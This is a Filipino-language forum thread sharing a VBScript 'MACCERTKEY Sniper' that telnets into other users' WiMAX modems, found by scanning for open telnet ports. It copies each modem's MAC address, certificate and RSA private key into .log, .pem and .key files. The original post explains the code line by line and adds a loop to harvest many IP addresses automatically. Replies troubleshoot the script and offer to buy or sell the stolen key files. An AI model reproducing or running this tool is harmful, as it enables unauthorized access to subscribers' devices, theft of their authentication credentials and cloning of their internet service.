Symbianize Forum

Most of our features and services are available only to members, so we encourage you to login or register a new account. Registration is free, fast and simple. You only need to provide a valid email. Being a member you'll gain access to all member forums and features, post a message to ask question or provide answer, and share or find resources related to mobile phones, tablets, computers, game consoles, and multimedia.

All that and more, so what are you waiting for, click the register button and join us now! Ito ang website na ginawa ng pinoy para sa pinoy!

FREE and OPEN SOURCE MACCERTKEY Sniper automatic creation of LOG, PEM at KEY file

TS ok na maraming salamat.. auto snipe na sya.. kaso lang may konting problemta.. nag eeror ung script pag na ssnipe nya ung mga modem na na remote na iba or iba na ang mac.. katulad nito "WAN_MAC="caloocanRemoters"" nadaanan ng script yan nag eeror.. meron ba way para ignore nya lang yan?thanks
 
Re: FREE MACCERTKEY Sniper automatic creation of LOG, PEM at KEY file

pasubscribe ako bossing.. keep sharing :)
 
Re: FREE MACCERTKEY Sniper automatic creation of LOG, PEM at KEY file

up!!!
patesting po
 
Re: FREE MACCERTKEY Sniper automatic creation of LOG, PEM at KEY file

pa testing din ako ts...
salamat
 
Re: FREE MACCERTKEY Sniper automatic creation of LOG, PEM at KEY file

nice to aHh may codes.. up ko toO
 
TS ok na maraming salamat.. auto snipe na sya.. kaso lang may konting problemta.. nag eeror ung script pag na ssnipe nya ung mga modem na na remote na iba or iba na ang mac.. katulad nito "WAN_MAC="caloocanRemoters"" nadaanan ng script yan nag eeror.. meron ba way para ignore nya lang yan?thanks

kasi walang : kaya error

eto codes nyan

If strWAN_MAC = left(strIPADD,7) then

strMACNoColon = Mid(strIPADD,10,17)
strMACNoColon = Replace(strMACNoColon ,":","")

end if

wala cyang MAC CHECKER

try mo delete this line strMACNoColon = Replace(strMACNoColon ,":","")

pero pwedeng maging error nyan sa saving ng .pem at .key kasi invalid pag me :

try mo pa din wala nman mawawala

kung ayaw talaga need lagyan ng mac checker sa script, request ka nalng ke TS nun hehehe
 
boss pa pm naman ng script mo pang grab ng mac cert at key badly needed lang... thanks in advance
 
Dahil nagkalat dito ang mga tools na may palaman na TAE at yung iba hindi naman FREE :(

i-share ko na sa inyo itong VBScript na ginawa at gamit ko for sniping ng trams MAC-CERT-KEY

sina kanam327, tapx5505, junroque, sabotage21, rufilipino2013, QuReNai, ladyfem at dyodyi

ang unang binigyan ko ng files galing sa sniper tool ko na ito.

OPEN SOURCE po ito at garantisadong walang palaman.

Marami pa pong room for improvement ang sniper tool ko na ito,

kaya sana tulong-tulong po tayo. :)

Tapos na po yung explanation sa important lines ng code

sana basahin ninyo ito para may idea kayo kung paano nag-run yung code

at ma-edit para mas gumanda yung sniper tool NATIN )
:yipee::clap::thumbsup:

Code:
SniperPath = objFSO.GetParentFolderName(wscript.ScriptFullName)    
--- ito po yung code para kunin yung location kung saan ni-run yung tool 
--- para duon din niya i-create yung LOG, PEM at KEY file

IPHost = InputBox(strMessage1 & vbCr & vbCr & strMessage2 , "DV-235T MACCERTKEY Sniper Full by BODEK") 
--- ito po yung code para input lang natin sa TEXT BOX ang IP Address 
--- at hindi na kailangan edit yung script

objShell.SendKeys"telnet "& IPHost &" -f "& SniperPath &"\"& IPHOST &".log{Enter}"
--- ito po yung code para i-run yung TELNET at gumawa ng LOG file kung saan ni-run yung script 
--- na ang filename ay yung IP Address  na input ninyo

TargetIP = SniperPath &"\"& IPHost &".log"
Set SniperList = objFSO.OpenTextFile(TargetIP)
--- ito po yung code para buksan yung LOG file at start ng pag-extract na info sa LOG file

Do Until SniperList.AtEndOfStream
--- ito po yung LOOP code para basahin hanggang sa last line ng LOG file

strIPADD = trim(SniperList.ReadLine)
--- ito po yung code para basahin yung LOG file LINE-by-LINE at e-assign sa isang variable 
--- na ang value ay kailangan sa mga susunod na steps 

If strWAN_MAC = left(strIPADD,7) then
     strMACNoColon = Mid(strIPADD,10,17)
     strMACNoColon = Replace(strMACNoColon ,":","")        
end if 
--- ito po yung code to check kung may nakuha na MAC sa LOG file 
--- nakailangan sa mga susunod na steps 

If strBEGIN = strIPADD then        
    strPEMfile = SniperPath &"\"& strMACNoColon &".pem"
    Set Source = objFSO.CreateTextFile(strPEMfile, True)
--- ito po yung code to check kung may -----BEGIN CERTIFICATE----- sa LOG file, 
--- at kung meron, mag- create na po siya ng PEM file 
--- na ang filename ay yung MAC Address na walang Colon

Source.WriteLine (Trim(strIPADD))
--- ito po yung code sa pag-write sa PEM file, LINE-by-LINE din po

If strRSA = strIPADD then
   Source.Close
   Set Source = nothing                    
   strKEYfile = SniperPath &"\"& strMACNoColon &".key"
   Set Source = objFSO.CreateTextFile(strKEYfile, True)
--- ito po yung code to check kung -----BEGIN RSA PRIVATE KEY----- ang value ng line. 
--- i-close na po yung PEM file at mag-create naman ng KEY file 
--- na ang filename ay yung MAC Address na walang Colon

newTargetIP = SniperPath &"\"& strMACNoColon &" - "& IPHost &".log"
objFSO.MoveFile TargetIP, newTargetIP            
strMessage1 = "Finished snipping IP Address : " & IPHost
strMessage2 = "Created: " & newTargetIP
--- ito po yung code sa pag-rename ng LOG file na ang filename format ay MAC at IP address
--- importante po ito para alam ninyo kung saan galing yung na snipe ninyo 
--- at higit sa lahat, pag sort ninyo mag-kakasunod yung 3 files (.LOG, .PEM, .KEY)
--- at para maiwasan ang conflict sa filename
--- meron po ako na snipe pareho MAC address pero iba ang IP address (Legit at Cloner) :)

pakiusap ko lang po, sana huwag natin gawing instrumento ng pangsira ng modem ang SNIPER TOOL NATIN na ito :pray:

TIP
pwede po ito e-edit na basahin yung list ng IP address sa isang file LINE by LINE para
Fully automatic siya mag snipe kahit 100 na IP address sa list. :) nandito na rin yung code na kailangan edit mo lang :yipee:

Note:
--- bakit may command na TR_MODEL - para may idea tayo kung anong modem yung na snipe natin
--- bakit may command na ls - na-experience ko po may pagkakataon na na-cut ang connection natin dahil sa timeout
--- pag may ls makikita natin kung may wmx_client_ca.pem at wmx_priv_key.key yung modem at ulitin na lang yung pag-snipe. :)

--- wala po itong ERROR HANDLING ROUTINE bahala na kayo mag-dagdag. :)

Future Update
--- pinag-iisipan ko pa po kasi mas mabilis at maganda ang ERROR HANDLING ng
--- TST10 ni Albert Yale na makikita sa tool ni master xxxyyyzzz
--- kaya niya maka-snipe in less than 5 seconds kaya lang hindi ko pa ma-debug
--- kung bakit pag dating sa RSA key nag-kakaroon ng alternate blank lines.
--- misan wala blank lines, madalas meron :(

Automatic Sniper
--- dahil marami ang nag-request ng automatic sniper code i-release ko na rin ito. :)
--- dahil komplikado na ang flow ng code gagamit na tayo ng Subroutine para maging readable ito
--- hahatiin natin ito sa 3 groups ( pag-input ng IP address, mga TELNET commands at pag-gawa ng LOG-PEM-KEY)
--- Iwasan mag-type sa keyboard o mag-click ng mouse sa ibang location para hindi mawala sa
focus ng cmd window yung script - mga 20 seconds po ang time allocation sa bawat IP address

--- try ninyo mga 10 IP address lang muna para may-idea kayo ng process nito. :)
--- attached na rin ako ng complete script para hindi na kayo mahirapan :)
---gawa po kayo ng IPList.txt at dito ninyo ilagay mga pre-scanned IP Address with open telnet port
-IP Address lang po wala ng iba at line by line lang po

Code:
IPListPath = SniperPath &"\IPList.txt"
--- ito yung code para kunin yung PATH ng IPList.txt
--- kailangan pareho sila ng location o folder ng sniper script

Set IPlist = objFSO.OpenTextFile(IPListPath)
--- ito yung code para open niya ang IPList.txt na ang laman ay mga IP Address na may open TELNET port

Do Until IPlist.AtEndOfStream
--- ito yung additional LOOP code para basahin ang IPList.txt hanggang sa last line
		
     IPHost = IPlist.ReadLine
     --- ito yung additional code para basahin LINE-by-LINE yung IP Address sa IPList.txt

     DoTelnet
     --- ito yung mga TELNET commands na ginawa nating Subroutine
		
     DoLogPemKey
     --- ito yung mg codes para pag-extract ng info sa LOG file at gumawa ng PEM at KEY file
     --- na ginawa nating Subroutine

Loop
--- ito po yung bago at additional codes para maging automatic ang sniper natin at maging readable na rin

Sub DoTelnet()

     objShell.run"cmd"
     WScript.Sleep 500
               |
               |
               |
     objShell.SendKeys"exit{Enter}"
			
End Sub
--- CUT-Paste po ang mga sunod-sunod na command at ilagay sa loob ng Sub DoTelnet()  at  End Sub

Sub DoLogPemKey()
	
     strMACNoColon ="noMACfound"
     TargetIP = SniperPath &"\"& IPHost &".log"
               |
               |
               |
   strMessage1 = "Finished snipping IP Address : " & IPHost
   strMessage2 = "Created: " & newTargetIP

   objShell.run "taskkill /im cmd.exe", , True
--- add ninyo itong line na ito
--- ang purpose po nito ay i-close ang cmd window para hindi mapuno ang screen ninyo
--- at maayos na makapag-start ulit ng pag-snipe 
--- try ninyo po alisin ang command na ito para ma-appreciate ninyo ang function niya :)
		
End Sub
--- CUT-Paste po ang mga sunod-sunod na command at ilagay sa loob ng Sub DoLogPemKey()  at  End Sub

boss, pwd makabili sayu ng pem files? busy kasi ako kaya wala time mag hunt..very time consuming kasi mag hunt eh.. e2 number ko
 
sino nka experience nito after ko ni run ang scrip ganito nangyari
nawala ang tab ng pem at key hinde na ako mka change mac.
pero connected pa naman
View attachment 185703
 

Attachments

  • authentication.png
    authentication.png
    52.6 KB · Views: 48
boss, pwd makabili sayu ng pem files? busy kasi ako kaya wala time mag hunt..very time consuming kasi mag hunt eh.. e2 number ko

sa buy and sale ka pumunta madami dun mabibilhan basa basa ka nlng ng feedback
 
Re: FREE MACCERTKEY Sniper automatic creation of LOG, PEM at KEY file

TS paano itong error na lumabas? window8 gamit ko

View attachment 186461
 

Attachments

  • error.png
    error.png
    185 KB · Views: 26
Re: FREE MACCERTKEY Sniper automatic creation of LOG, PEM at KEY file

tnx dito TS.. malaking tulong sa pagsnipe ng pem at key..:salute:
 
Re: FREE MACCERTKEY Sniper automatic creation of LOG, PEM at KEY file

Nice Thread :thumbsup:
 
Back
Top Bottom